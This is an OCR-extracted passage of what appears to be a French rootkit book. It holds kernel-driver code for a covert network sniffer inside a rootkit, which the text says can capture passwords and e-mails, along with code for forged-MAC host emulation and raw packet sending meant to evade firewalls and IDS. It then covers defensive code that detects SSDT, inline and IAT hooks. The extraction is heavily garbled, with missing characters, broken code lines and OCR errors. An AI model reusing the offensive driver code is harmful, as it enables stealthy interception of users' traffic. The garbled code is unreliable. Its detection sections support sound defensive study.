NdisAllocatePacketPool(
&aStatus,
&gPacketPoolH,
TRANSMIT_PACKETS,
sizeof(PACKET_RESERVED));
if (aStatus != NDIS_STATUS_SUCCESS)
{
return;
Chapitre 9
NdisAllocateBufferPool(
&aStatus,
&gBufferPoolH,
TRANSMIT_PACKETS ); if
(aStatus != NDIS_STATUS_SUCCESS)
{
return;
}
}
else
{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone called
with error code 0x%08X",
OpenErrorStatus);
DbgPrint(_t);
}
}
Par lintermdiaire des handles des pools de tampons et de paquets, nous pouvons
initier une opration de dplacement de donnes dans notre fonction de callback de
rception. Nous vrifions quil sagit bien dun paquet Ethernet et stockons son entte.
Nous allouons ensuite un tampon et un paquet partir de notre pool. La structure
NDIS_PACKET contient un champ rserv o nous pouvons conserver une copie de lentte Ethernet. La structure comprend aussi une chane de tampons dans laquelle le reste
du paquet sera copi. Nous allouons un tampon dune taille suffisante, puis le
"chanons" la structure NDIS_PACKET. Nous appelons ensuite Ndis- Transf erData
pour placer le reste du paquet dans ce tampon.
peut se terminer immdiatement ou retourner un code signifiant
"en attente". Si lopration est en attente, la fonction de callback OnTransf erData- Done
sera appele lorsque lopration se terminera. Noubliez pas que, si Ndis- TransferData
se termine immdiatement, nous devons appeler nous-mme OnTransferDataDone.
NdisT ransf erData
294 Rootkits
PNDIS_PACKET pPacket;
PNDIS_BUFFER pBuffer;
ULONG SizeToTransfer = 0;
NDIS_STATUS Status;
UINT BytesTransfered;
ULONG BufferLength;
PPACKET_RESERVED Reserved;
NDIS_HANDLE BufferPool;
PVOID aTemp;
UINT Frame_Type = 0;
DbgPnint("ROOTKIT: OnReceiveStub called\n");
SizeToTransfer = PacketSize; if(
(HeaderBufferSize > ETHERNET_HEADER_LENGTH)
II
(SizeToTransfer > ( 1 5 1 4 - ETHERNET_HEADER_LENGTH) ))
{
DbgPrint("ROOTKIT: OnReceiveStub returning unaccepted
packet\n");
return NDIS_STATUS_NOT_ACCEPTED;
}
memcpy(&Frame_Type, ( ((char *)HeaderBuffer) + 1 2 ) , 2 ) ;
/*
* Ignore tout
* sauf IP (octets dans l'ordre du rseau)
*/
if(Frame_Type != 0x0008)
{
DbgPrint("Ignoring NON-Ethernet frame");
return NDIS_STATUS_NOT_ACCEPTED;
}
/* Stocke le payload (charge utile) Ethernet */
aTemp = ExAllocatePool( NonPagedPool, (1514 - ETHERNET_HEADER_LENGTH ));
if (aTemp)
{
//DbgPrint("ROOTKIT: ORI: store ethernet payload\n");
RtlZeroMemory(aTemp, ( 1 5 1 4 - ETHERNET_HEADER_LENGTH ));
NdisAllocatePacket(
&Status,
&pPacket,
gPacketPoolH /*NdisAllocatePacketPool prcdent*/
);
if (NDIS_STATUS_SUCCESS == Status)
{
//DbgPrint("ROOTKIT: ORI: store ethernet header\n"); /*
Stocke l'en-tte Ethernet */
RESERVED(pPacket)->pHeaderBufferP = ExAllocatePool(
Chapitre 9
NonPagedPool,
ETHERNET_HEADER_LENGTH) ; DbgPnint("ROOTKIT: ORI: checking ptr\n");
if(RESERVED(pPacket)->pHeaderBufferP)
{
//DbgPrint(''ROOTKIT: ORI: pHeaderBufferP\n" ) ;
RtlZeroMemory(
RESERVED(pPacket)->pHeaderBufferP,
ETHERNET_HEADER_LENGTH); memcpy(RESERVED(pPacket)->pHeaderBufferP,
(char *)HeaderBuffer,
ETHERNET_HEADER_LENGTH);
RESERVED(pPacket)->pHeaderBufferLen = ETHERNET_HEADER_LENGTH;
NdisAllocateBuffer(
&Status,
&pBuffer,
gBufferPoolH,
aTemp,
( 1 5 1 4 - ETHERNET_HEADER_LENGTH)
);
if (NDIS_STATUS_SUCCESS == Status)
{
//DbgPrint("ROOTKIT: ORI: NDIS_STATUS_SUCCESS\n");
/* Devra tre libr ensuite */
RESERVED(pPacket)->pBuffer = aTemp;
/* Associe notre tampon au paquet.
Important */
NdisChainBufferAtFront(pPacket, pBuffer);
//DbgPrint("ROOTKIT: ORI: NdisTransferData\n");
NdisTransferData(
&(gllserStruct .mStatus),
gAdapterHandle,
MacReceiveContext,
0
SizeToTransfer, pPacket,
&BytesTransfered) ;
if (Status != NDIS_STATUS_PENDING)
{
//DbgPrintf"ROOTKIT: ORI: did not pend\n");
/* Si pas en attente, appeler la routine de
terminaison maintenant */
OnTransferDataDone(
&gUserStruct, pPacket,
Status,
BytesTransfered
);
return NDIS_STATUS_SUCCESS;
}
ExFreePool(RESERVED(pPacket)->pHeaderBufferP);
}
else
{
DbgPrintf"ROOTKIT: ORI: pHeaderBufferP allocation failed!\n");
}
//DbgPrint("ROOTKIT: ORI: NdisFreePacket()\n");
NdisFreePacket(pPacket) ;
}
//DbgPrint("ROOTKIT: ORI: ExFreePool()\n);
ExFreePool(aTemp);
}
return NDIS_STATUS_SUCCESS;
}
Finalement, examinons OnTransferDataDone pour comprendre comment reconstmire la
totalit du paquet. Nous rcuprons le tampon den-tte que nous avions conserv dans
le champ rserv NDIS PACKET, ainsi que le reste du paquet qui avait t copi dans le
tampon chan. Celui-ci ninclut pas le tampon den-tte. Nous concatnons alors les
deux tampons pour reconstruire la trame brute entire. Nous librons et rinitialisons
les ressources des pools de tampons et de paquets pour quelles puissent tre
rutilises.
Une fois que nous avons rassembl la trame brute, nous appelons une fonction
OnSniff edPacket avec un pointeur vers la trame et sa longueur :
VOID OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,
IN PNDIS_PACKET thePacketP,
IN NDIS_STATUS theStatus,
IN UINT theBytesTransfered )
PNDIS_BUFFER
PVOID
ULONG
PVOID
ULONG
aNdisBufP ;
aBufferP;
aBufferLen;
aHeaderBufferP;
aHeaderBufferLen;
///////////////////////////////////////////////////////////
// aHeaderBufferP devrait tre l'en-tte Ethernet.
// aBufferP devrait tre le paquet TCP/IP.
Chapitre 9
////////////////////////////////////////////////////////
/ / / if(aBufferP && aHeaderBufferP)
{
ULONG aPos = 0; char *aPtr = NULL;
aPtr = ExAllocatePool( NonPagedPool,
(aHeaderBufferLen + aBufferLen) );
if(aPtr)
{
memcpy(aPtr,
aHeaderBufferP,
aHeaderBufferLen ); memcpy(aPtr +
aHeaderBufferLen, aBufferP,
aBufferLen );
// Nous avons un paquet prt tre examin.
// Analyse le paquet pour rechercher les commandes imbriques.
OnSniffedPacket(aPtr, (aHeaderBufferLen + aBufferLen));
ExFreePool(aPtr);
}
//DbgPrintf"ROOTKIT: OTDD: Freeing Packet Memory\n");
ExFreePool(aBufferP); // Tampon plein
ExFreePool(aHeaderBufferP); // Tampon plein }
/* Libre le tampon */
//DbgPrint("ROOTKIT: OTDD: NdisUnchainBufferAtFront\n");
NdisUnchainBufferAtFront(
thePacketP, &aNdisBufP); // Libre le descripteur de tampon
if(aNdisBufP) NdisFreeBuffer(aNdisBufP);
/* Recycle */
//DbgPrint (11 ROOTKIT : OTDD: NdisReinitializePacket\n ) ;
NdisReinitializePacket(thePacketP);
NdisFreePacket(thePacketP); return;
>
Vous pouvez faire tout ce que vous voulez dans la fonction OnSnif f edPacket. Notre
exemple envoie simplement en sortie quelques donnes relatives au paquet.
void OnSniffedPacket(const char* theData, int theLen)
{
char _c[255];
_snprintf(_c, 253, "OnSniffedPacket: got packet length % d , theLen);
DbgPrint(_c);
}
Nous disposons maintenant de tous les blocs constitutifs de notre sniffeur de trafic
dans notre rootkit. Arm de cet outil, il devient possible dintercepter des mots de
passe, de faire un scan passif ou de collecter les e-mails. Explorons maintenant
quelques effets possibles de linjection de paquets forgs sur le rseau.
298 Rootkits
Emulation d'hte
A laide du driver de protocole NDIS, nous pouvons muler un nouvel hte sur le
rseau. Ceci signifie que notre rootkit aura sa propre adresse IP dhte sur le rseau.
Ainsi, au lieu dutiliser la pile IP de lhte, nous spcifierons une nouvelle adresse IP.
En fait, il est mme possible dindiquer une autre adresse MAC ! La combinaison des
adresses IP et MAC est normalement unique pour chaque ordinateur physique.
Si quelquun procdait une analyse du rseau, votre combinaison adresses IP/ MAC
apparatrait comme tant un ordinateur sur le rseau. Cela pourrait crer une diversion
pour viter dattirer lattention sur lordinateur infect ou aussi servir contourner les
filtres.
Gestion d'ARP
Lorger des trames brutes nest pas exempt de difficults. Si vous crez une adresse IP
et une adresse MAC Ethernet, il vous faudra grer le protocole ARP (Address
Resolution Protocol). Sans protocole ARP, aucun paquet ne peut tre chang ni
mme relay correctement par le routeur sur le rseau local. ARP est le protocole qui
indique au routeur que votre adresse IP source est disponible mais, plus important,
quelle adresse Ethernet associe il doit transmettre les paquets.
Chapitre 9
};
struct ether_arp
{
struct arphdr ea_hdr; /* En-tte de taille fixe */ u_char
arp_sha[ETH_ALEN]; /* Adresse matrielle de l'metteur */ u_char
arp_spa[4]; /* Adresse de protocole de l'metteur */ u_char
arp_tha[ETH_ALEN]; /* Adresse matrielle cible */ u_char arp_tpa[4]; /*
Adresse de protocole cible */
};
void RespondToArp( struct in_addr sip, struct in_addr tip,
_ int64 enaddr)
{
struct
struct
struct
struct
ether_header *eh;
ether_arp *ea;
sockaddr sa;
pps *pp = NULL;
300 Rootkits
Ladresse MAC que nous utilisons, ou forgeons, est 0XDEADBEEFDEAD. Nous allouons un
paquet suffisamment grand pour une rponse ARP. Ceci est initialis avec des octets
NULL.
_ int64 our_mac = 0xADDEEFBEADDE; // Adresse MAC forge
Nous remplissons les champs de len-tte Ethernet. Le type de protocole est dfini
avec ETH_P_ARP, reprsentant la constante 0x806.
ea = ExAllocatePool(NonPagedPool,sizeof(struct ether_arp));
memset(ea, 0, sizeof (struct ether_arp)); eh = (struct
ether_header *)sa.sa_data;
(void)memcpy(eh->h_dest, &enaddr, sizeof(eh->h_dest));
(void)memcpy(eh->h_source, &our_mac, sizeof(eh->h_source)); eh>h_proto = htons(ETH_P_ARP);
SendRaw.
}
Certaines macros utiles pour effectuer la traduction adresse de rseau (htons, etc.) :
#define INETADDR(a, b, c, d) (a + (b8) + (c16) + (d24))
#define HTONL(a) ( ( (a&0xFF)24) + ( (a&0xFF00)8) + ( (a&0xFF0000)8) +
( (a&0xFF000000)24) )
#define HTONS(a) ( ( (0xFF&a)8) + ( (0xFF00&a)8) )
Chapitre 9
Passerelle IP
Comme nous lavons vu, ARP est utilis pour associer une adresse MAC une adresse
IP, ce qui permet la transmission du trafic jusquau destinataire voulu. Toutefois, les
adresses MAC ne sont utilises que sur le rseau local. Elles ne servent pas au routage
sur Internet. Si une adresse IP est externe au rseau local, le paquet doit tre rout.
Cest cela que sert une passerelle.
Une passerelle possde gnralement une adresse IP et une adresse MAC aussi. Pour
router des paquets hors du rseau, vous avez juste besoin dutiliser ladresse MAC de
la passerelle dans votre paquet. En dautres termes, vous nenvoyez pas de paquets
ladresse IP de la passerelle.
Par exemple, si je souhaite envoyer un paquet 172.16.10.10 et que mon rseau soit
192.168.0.
0, je dois trouver ladresse MAC de la passerelle. Si son adresse IP est
192.168.1.1, je peux utiliser ARP pour la trouver. Jenvoie ensuite le paquet
172.16.10.10 en utilisant ladresse MAC de la passerelle.
{
NDIS_STATUS aStat;
DbgPrint("ROOTKIT: SendRaw called\n");
/* Acquiert un verrou libr une fois l'envoi termin seulement */
KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL);
Nous allouons ensuite un paquet NDIS PACKET partir de notre pool de paquets. Dans
cet exemple, le handle de pool de paquets est stock dans une structure globale (nous
avons dcrit plus haut lallocation dun pool de paquets lors de la prsentation de
OnOpenAdapterDone).
if(gOpenlnstance && c){
PNDIS_PACKET aPacketP;
NdisAllocatePacket(&aStat,
&aPacketP,
302 Rootkits
gOpenInstance->mPacketPoolH
);
if(NDIS_STATUS_SUCCESS == aStat)
{
PVOID aBufferP;
PNDIS_BUFFER anNdisBufferP;
Nous allouons ensuite un tampon NDIS_BUFFER de notre pool de tampons. Ici aussi,
le handle du pool est global. Le tampon est initialis avec les donnes du paquet
envoyer et ensuite "chan" au paquet NDIS_PACKET. Notez que nous avons dfini le
champ rserv de NDIS_PACKET NULL pour que notre fonction OnSendDone function
sache quil sagit dun envoi gnr localement.
NdisAllocateMemory( &aBufferP,
len,
0,
HighestAcceptableMax );
memcpyf aBufferP, (PVOID)c, len);
NdisAllocateBuffer( &aStat,
&anNdisBufferP,
gOpenInstance->mBufferPoolH,
aBufferP,
len );
if(NDIS_STATUS_SUCCESS == aStat)
{
RESERVED(aPacketP)->Irp = NULL;
NdisChainBufferAtBack(aPacketP, anNdisBufferP);
Le paquet NDIS_PACKET est pass NdisSend. Si NdisSend se termine immdiatement, nous appelons OnSendDone, sinon lappel est "en attente" et OnSendDone
sera appel lorsque lopration denvoi sera termine.
NdisSend( &aStat,
gOpenInstance->AdapterHandle,
aPacketP );
if (aStat != NDIS_STATUS_PENDING )
{
OnSendDone( gOpenlnstance,
aPacketP,
aStat );
}
}
else
{
}
}
else
// Erreur
Chapitre 9
{
I l Erreur
}
}
/* Libre le verrou pour permettre le prochain envoi */
KeReleaseSpinLock(&GlobalArraySpinLock, glrqL);
}
Le code dans OnSendDone libre les ressources qui avaient t alloues pour lenvoi :
VOID
OnSendDone( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET pPacket,
IN NDIS_STATUS Status )
{
PNDIS_BUFFER anNdisBufferP;
PVOID aBufferP;
UINT aBufferLen;
PIRP Irp;
DbgPrint("ROOTKIT: OnSendDone called\n");
KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL);
Si lopration denvoi tait initie partir dune application en mode utilisateur et non
du noyau comme nous lavons fait pour notre exemple, nous aurions un IRP grer. Il
aurait alors t stock dans le champ rserv du paquet NDIS_PACKET :
Irp=RESERVED(pPacket)->Irp; if(Irp)
{
NdisReinitializePacket(pPacket);
NdisFreePacket(pPacket);
Irp->IoStatus.Status = NDIS_STATUS_SUCCESS;
/* Pas de rapport d'envoi.. */
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, I0_N0_INCREMENT);
}
else
{
En supposant quil ny a pas dIRP, nous dissocions le tampon NDIS BUFFER du paquet
NDIS_PACKET. Lappel de NdisQueryBuffer nous permet de rcuprer le tampon de
mmoire original pour que nous puissions le librer. Ceci est important car sinon il se
produira une "fuite" de mmoire (leak) pour chaque paquet envoy ! Notez que nous
utilisons aussi un verrou spinlock pour protger laccs au tampon global partag.
304 Rootkits
{
NdisQueryBuffer(
anNdisBufferP,
&aBufferP,
&aBufferLen);
if(aBufferP)
{
NdisFreeMemory( aBufferP,
aBufferLen,
0 );
}
NdisFreeBuffer(anNdisBufferP);
}
NdisReinitializePacket(pPacket);
NdisFreePacket(pPacket);
}
/* Libre le verrou pour permettre le prochain envoi.. */
KeReleaseSpinLock(&GlobalArraySpinLock, glrqL);
return;
Le choix dutiliser NDIS ou TDI dpend du niveau auquel vous voulez tre sur la
machine. Chaque approche a ses avantages et ses inconvnients (voir Tableau 9.1).
Tableau 9.1 : Les avantages et les inconvnients de NDIS et de TDI
Mthode
NDIS
TDI
Avantages
Permet denvoyer et de recevoir des
trames brutes qui sont indpendantes
de la pile IP de lhte.
Peut tre prfrable si vous voulez
viter la dtection par des systmes
pare-feu ou IDS hbergs.
Inconvnients
Chapitre 9
Vous disposez maintenant des outils requis pour manipuler le trafic de rseau et
comprendre comment un tel rootkit fonctionne.
Conclusion
La dissimulation de donnes est une tactique ancienne applique aux nouvelles
technologies. Cest mme une source dinspiration lorsquelle est reprise par
Hollywood ou dans la fiction populaire. Dans ce chapitre, nous avons touch au
concept essentiel de "dissimulation dcouvert" et introduit les mcanismes de NDIS
et de TDI qui peuvent tre exploits pour envoyer et recevoir du trafic de rseau
laide dun driver de noyau sous Windows.
Avec les technologies disponibles, il est possible de concevoir des systmes dplaant
des donnes sans que cela soit dtect. Une affirmation hardie, direz-vous, mais la
plupart des rseaux sont surchargs et leur architecture de dtection dintrusions nest
pas assez robuste. La plupart du temps, les administrateurs font simplement de leur
mieux pour maintenir le rseau oprationnel, et un petit filet de donnes passera
inaperu.
Comme nous lavons dmontr dans ce livre, les rootkits peuvent tre difficiles
dtecter, surtout lorsquils oprent dans le noyau, car ils peuvent alors modifier les
fonctions utilises par tous les logiciels, y compris les outils de scurit.
La puissance disponible pour les logiciels de protection contre les intrusions est
galement exploitable par les rootkits. De la mme manire que certaines voies
peuvent tre bloques pour empcher un rootkit de sintroduire, elles peuvent aussi
tre libres. Un rootkit peut empcher un outil de dtection ou de prvention de
sexcuter ou de fonctionner correctement. Cela se rsume un bras de fer entre
lattaquant et le dfenseur, lavantage allant celui qui se charge dans le noyau et
sexcute en premier.
Il faut savoir que ce qui permet aujourdhui un dfenseur de dtecter un rootkit sera
peut-tre inefficace demain. Les rootkits se perfectionnent mesure que leurs
dveloppeurs identifient la faon dont les logiciels de dtection procdent. Linverse
est galement vrai. Les dfenseurs actualisent constamment leurs outils avec
lmergence de nouvelles techniques de rootkits.
308 Rootkits
Chapitre 10
310 Rootkits
Identifier toutes les voies de chargement potentielles dun rootkit nest quune
premire tape. La difficult dans llaboration des techniques de dtection de
chargement rside dans le fait de dterminer ce quil faut surveiller et quand mettre
une alerte. Par exemple, un rootkit peut tre charg en mmoire via des cls de
registre. Des points de dtection vidents hooker seraient les fonctions ZwOpenKey,
ZwCreateKey et ZwSetValueKey ( linstar dIPD). Mais le logiciel de dtection qui
hooke ces fonctions doit aussi savoir quelles cls surveiller.
Les drivers sont gnralement placs dans la cl suivante :
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
Cette cl peut tre utilise lorsque la machine est dmarre avec la dernire bonne
configuration connue.
Il faut aussi considrer toutes les cls de registre relatives la faon dont les
extensions dapplications sont gres. En outre, des DLL additionnelles, telles que
Bho. dll (.Browser Helper Object), peuvent tre charges dans des processus.
Les logiciels de dtection doivent aussi tenir compte de la menace que constituent les
liens symboliques. Un tel lien est un alias pour un nom rel. Une des cibles que vous
cherchez protger pourrait avoir plusieurs noms. Si votre logiciel de dtection hooke
la table dappels systme et quun rootkit utilise un lien symbolique, la vritable cible
de ce lien naura pas encore t rsolue lorsque votre hook sera appel. En outre, la
ruche HKEY_LOCAL_MACHINE nest pas reprsente par ce nom dans le noyau. Mme si
votre logiciel pouvait hooker tous ces points de filtrage, le nombre demplacements
examiner semblerait infini.
Supposons nanmoins que vous ayez dcouvert tous les emplacements surveiller afin
dempcher le chargement de rootkits et que vous ayez rsolu tous les noms possibles
des ressources critiques protger. La difficult est maintenant de dcider quand
mettre une alerte. Si vous avez dtect le chargement dun driver ou dune DLL,
comment pouvez-vous savoir sil sagit ou non dun code malveillant ? Votre logiciel
de dtection aurait besoin dune signature pour pouvoir effectuer une comparaison, ce
qui suppose un vecteur dattaque connu. Une autre solution pour le logiciel serait
danalyser le comportement du module pour tenter de dterminer sil est hostile.
Chapitre 10
Ces deux approches sont trs dlicates mettre en uvre. Lemploi de signatures
requiert que les rootkits soient connus et ne convient donc pas lorsquun rootkit est
nouveau. Et la dtection de comportements symptomatiques donne lieu une
multitude de faux positifs et de faux ngatifs.
Savoir quand notifier un chargement est crucial et constitue un dfi de scurit
permanent pour les diteurs dantivirus.
Scan de la mmoire
Scanner la mmoire est la deuxime approche permettant de dtecter la prsence de
rootkits. Au lieu de surveiller laborieusement tous les points dentre dans le noyau ou
dans lespace dadressage dun autre processus, vous pourriez scanner rgulirement la
mmoire la recherche de modules connus ou de signatures correspondant des
rootkits. Lintrt de cette dmarche est sa simplicit. Mais, comme il a t dit, elle ne
permet de dtecter que les attaques connues. De plus, elle nempchera pas un rootkit
de se charger. Il faut dailleurs quun rootkit ait t charg pour quelle fonctionne. Si
votre logiciel scanne lespace dadressage des processus, il devra changer de contexte
pour chaque processus ou accomplir lui-mme le mapping adresses virtuelles/adresses
physiques. Si un rootkit du noyau est dj prsent, il peut interfrer avec ce traitement.
Recherche de hooks
Une autre approche de dtection de la prsence de rootkits en mmoire consiste
rechercher des hooks dans le systme dexploitation et dans les processus. Comme
expliqu aux Chapitres 4 et 5, de nombreux emplacements se prtent la dissimulation
de hooks. Voici les principaux types de hooks :
H hook de la table IAT (Import Address Table) ;
H hook de la table SSDT (System Service Dispatch Table) ;
H hook
Si hook
S hook
de fonction en ligne.
La recherche de hooks saccompagne des mmes inconvnients que ceux mentionns
la section prcdente. Etant donn que le rootkit est dj charg en mmoire et
sexcute, il peut interfrer avec vos mthodes de dtection. Mais un avantage de
312 Rootkits
cette approche est quelle est gnrique, cest--dire quelle nimplique la recherche
daucune signature ou squence connue.
La procdure de base pour identifier un hook consiste rechercher les branchements
qui tombent en dehors dune plage acceptable. De tels branchements sont produits par
des instructions telles que CALL ou JMP. Le plus souvent, dfinir une plage acceptable
nest pas difficile. Dans une table IAT, le nom du module contenant les fonctions
importes est list. Ce module possde une adresse de dbut bien dfinie en mmoire
ainsi quune taille. Ces informations sont tout ce dont vous avez besoin.
Il en va de mme pour les drivers : tous les gestionnaires dIRP lgitimes doivent
exister dans la plage dadresses de leurs drivers respectifs, et toutes les entres de la
table SSDT sont normalement contenues dans la plage du processus du noyau,
Ntoskrnl.exe.
Identifier un hook de la table IDT est un peu plus compliqu car vous ne connaissez
pas la plage dadresses acceptable pour la plupart des interruptions. En revanche, vous
connaissez assurment celle du gestionnaire de linterruption INT 2E, qui devrait
pointer vers le noyau, Ntoskrnl. exe.
Un hook de fonction en ligne est le plus difficile dtecter car il peut se trouver
nimporte o dans la fonction, ncessitant de dsassembler entirement celle-ci. En
outre, dans des circonstances de fonctionnement normal, une fonction peut appeler des
adresses situes en dehors de la plage du module. Les sections suivantes expliquent
comment dtecter des hooks de SSDT et dIAT ainsi que certains hooks en ligne.
Rcuprer la plage dadresses des modules du noyau
Pour protger la SSDT ou la table de gestionnaires dIRP d'un driver, il faut dabord
identifier la plage dadresses acceptable. Pour cela, vous devez disposer dune adresse
de dbut et dune taille. Pour des modules du noyau, vous pouvez appeler
ZwQuerySystemlnformation cette fin.
Mais vous vous dites probablement que cette fonction peut galement tre hooke.
Cest effectivement possible mais, lorsquelle lest et ne retourne pas dinformations
pour Ntoskrnl.exe ou un driver qui a t charg, cela signifie quun rootkit est prsent.
Pour lister tous les modules du noyau, vous pouvez invoquer ZwQuerySystemlnformation en prcisant que vous vous intressez la classe dinformations
Chapitre 10
{
int
d_Modules;
MODULE_INFO a_Modules [];
} MODULE_LIST, *PMODULE_LIST, **PPMODULE_LIST;
{
ULONG ul_NeededSize;
ULONG *pul_ModuleListAddress = NULL;
NTSTATUS ns;
PMODULE_LIST pmi = NULL;
// Appelle ZwQuerySystemlnformation pour dterminer // la taille requise
pour stocker les informations.
ZwQuerySystemlnformation(SystemModuleInformtion,
&ul_NeededSize,
0
&ul_NeededSize);
pul_ModuleListAddress = (ULONG *) ExAllocatePool *(PagedPool,
ul_NeededSize);
if (!pul_ModuleListAddress) // Echec de ExAllocatePool
{ if (pns != NULL)
314 Rootkits
*pns = STATUS_INSUFFICIENT_RESOURCES;
return (PMODULE_LIST) pulJVIoduleListAddress ;
}
ns = ZwQuerySystemlnformation(SystemModulelnformation,
pul_ModuleListAddress,
ul_NeededSize,
0) ;
if (ns != STATUS_SUCCESS)// Echec de ZwQuerySystemlnformation
{
// Libre la mmoire pagine alloue
ExFreePool((PVOID) pul_ModuleListAddress); if
(pns != NULL)
*pns = ns;
return NULL;
}
pmi = (PMODULE_LIST) pulJVIoduleListAddress; if (pns != NULL)
*pns = ns; return pmi;
Vous disposez maintenant dune liste de tous les modules du noyau. Pour chacun
deux, deux informations importantes ont t retournes dans la structure M0DULE_INF0 :
ladresse de base et la taille du module. Vous connaissez prsent la plage acceptable
et pouvez commencer rechercher des hooks.
Dtecter les hooks de la SSDT
{
int count; g_pml = NULL; g_ntoskrnl.Base = 0; g_ntoskrnl.End = 0;
g_pml = GetListOfModules();
Chapitre 10
if (!g_pml)
return STATUS_UNSUCCESSFUL; for (count = 0; count <
g_pml->d_Modules; count++)
{
I l Recherche l'entre correspondant ntoskrnl.exe if
(_stricmp( "ntoskrnl.exe11, g_pml->
a_Modules[count].a_bPath + g_pml->a_Modules[count],w_NameOffset) == 0)
{
g_ntoskrnl.Base = (DWORD)g_pml->a_Modules[count].p_Base; g_ntoskrnl.End
= ((DWORD)g_pml->
a_Modules[count].p_Base + g_pml>a_Modules[count].d_Size);
}
}
ExFreePool(g_pml); if (g_ntoskrnl.Base != 0) return STATUS_SUCCESS;
else
return STATUS_UNSUCCESSFUL;
}
La fonction suivante envoie en sortie un message de debugging si elle trouve dans la
SSDT une adresse qui sort de la plage acceptable :
#pragma pack( 1 )
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase; unsigned
int *ServiceCounterTableBase; unsigned
int NumberOfServices; unsigned char
*ParamTableBase;
} SDTEntry_t;
#pragma pack()
// Importe KeServiceDescriptorTable depuis ntoskrnl.exe
_ declspec(dllimport) SDTEntry_t KeServiceDescriptorTable;
void IdentifySSDTHooks(void)
{
int i;
for (i = 0; i < KeServiceDescriptorTable.NumberOfServices ; i++)
{
if ((KeServiceDescriptorTable.ServiceTableBase[i] <
g_ntoskrnl.Base) ||
(KeServiceDescriptorTable.ServiceTableBase[i] >
g_ntoskrnl.End))
{
DbgPrint("System call %d is hooked at address %x!\n", i,
KeServiceDescriptorTable.ServiceTableBase[i]);
}
}
316 Rootkits
Rechercher les hooks de la SSDT est une mthode de dtection trs efficace, mais ne
vous tonnez pas si vous en trouvez qui ne sont pas des rootkits. Souvenez-vous que de
nombreux logiciels de protection actuels hookent galement le noyau et diverses API.
La section suivante expose comment dtecter certains hooks de fonctions en ligne,
lesquels ont t couverts au Chapitre 4.
Pour simplifier, nous rechercherons ici uniquement les patchs de dtours qui
surviennent dans les premiers octets du prambule dune fonction (le dsassemblage
complet dune fonction du noyau dpasse le cadre de cet ouvrage). Pour dtecter un tel
patch, nous employons la fonction CheckNtoskrnlForOutsideJump :
/////////////////////////////////////////////////////
// DWORD CheckForOutsideJump
//
// Description :
// Cette fonction prend l'adresse de la fonction vrifier. // Elle
examine les premiers opcodes la recherche // de sauts immdiats,
etc.
//
{
BYTE opcode = *((PBYTE)(dw_addr));
DWORD hook = 0;
WORD desc = 0;
// Voici les opcodes de sauts relatifs inconditionnels.
// L'opcode 0xeb est un saut relatif qui occupe un octet et peut
// donc sauter au maximum 255 octets depuis l'EIP courant.
//
}
else if (opcode == 0xea)
{
hook |= *((PBYTE)(dw_addr+1))
hook j= *((PBYTE)(dw_addr+2))
0;
8;
Chapitre 10
}
I l Maintenant que nous connaissons la destination du saut,
I l il faut vrifier si le hook est en dehors de I l Ntoskrnl.
S'il ne l'est pas, retourne 0. if (hook != 0)
{
if ((hook < g_ntoskrnl.Base) || (hook > g_ntoskrnl.End)) hook =
hook; else
hook = 0;
}
return hook;
}
A partir de ladresse dune fonction dans la SSDT, CheckNtoskrnlForOutsideJump
recherche dans cette fonction un saut inconditionnel immdiat. Si elle en trouve un,
elle tente de rsoudre ladresse vers laquelle le processeur se dbranchera. Elle
examine ensuite cette adresse pour dterminer si elle se trouve en dehors de la plage
acceptable pour Ntoskrnl. exe.
En adaptant la plage, vous pouvez utiliser ce code pour rechercher des hooks en ligne
dans les premiers octets de nimporte quelle fonction.
Dtecter les hooks de gestionnaires dIRP
Les hooks dIAT sont largement utiliss par les rootkits pour Windows actuels. Etant
donn quils oprent dans la portion utilisateur dun processus, ils sont plus faciles
programmer que les rootkits en mode noyau et ne requirent pas le mme niveau de
privilges. Pour cette raison, vous devriez vous assurer que votre logiciel de dtection
recherche ce type de hook.
318 Rootkits
);
En passant comme premier paramtre un handle sur le processus courant, EnumProcessModules retourne une liste de toutes les DLL de ce processus. Vous pourriez sinon
appeler cette fonction depuis lespace dadressage de nimporte quel processus, auquel
cas vous passeriez un handle sur le processus que vous voulez scanner.
Chapitre 10
La fonction EnumProcesses listerait alors tous les processus. Vous navez pas vous
proccuper de savoir sil y a des processus cachs puisquil vous importe peu que le
rootkit ait hook ses propres processus cachs.
Le deuxime paramtre de EnumProcessModules est un pointeur vers le tampon que vous
devez allouer pour contenir la liste des handles de DLL. Le troisime paramtre est la
taille de ce tampon. Si lespace allou est insuffisant, cette fonction retournera la taille
ncessaire pour stocker tous les handles de DLL.
Vous pouvez rcuprer le nom de chaque DLL en appelant la fonction GetModuleFileNameEx avec le handle correspondant. Une autre fonction, GetModulelnforma- tion,
retourne ladresse de base et la taille de la DLL correspondant au handle pass comme
deuxime paramtre. Ces informations sont retournes sous la forme dune structure
MODULE INFO :
typedef struct _M0DULEINF0 {
LPVOID lpBaseOfDll;
DWORD SizeOfImage;
LPVOID EntryPoint;
} MODULEINFO, *LPM0DULEINF0;
Avec le nom de la DLL, son adresse de dbut et sa taille, vous disposez de toutes les
informations ncessaires pour dterminer une plage acceptable pour les fonctions
quelle contient. Ces informations devraient tre stockes dans une liste chane pour
que vous puissiez y accder ultrieurement.
Vous pouvez maintenant commencer parcourir chaque fichier en mmoire et
analyser lIAT des DLL comme illustr la section "Approche de hooking hybride" du
Chapitre 4 (souvenez-vous que lIAT de chaque processus et de chaque DLL peut
contenir des fonctions importes depuis de nombreuses autres DLL). Mais, ici, lorsque
vous analysez un processus ou une DLL pour rechercher son IAT, vous devez
identifier chaque DLL importe. Vous pouvez utiliser le nom de la DLL pour la
localiser dans la liste chane. Comparez ensuite chaque adresse dans FIAT aux
informations de module DLL correspondantes.
La technique qui vient dtre dcrite requiert les appels API des fonctions
EnumProcesses, EnumProcessModules, GetModuleFileNameEx et GetModulelnformation.
Mais un rootkit pourrait avoir hook ces appels. Pour obtenir la liste des DLL charges
dans un processus sans avoir effectuer dappel API, vous pouvez analyser le bloc
denvironnement du processus, ou PEB (Process Environment Block). Ce bloc contient
une liste chane de tous les modules chargs. Cette approche a longtemps t utilise
par toutes sortes dattaquants, y compris les auteurs de virus.
320 Rootkits
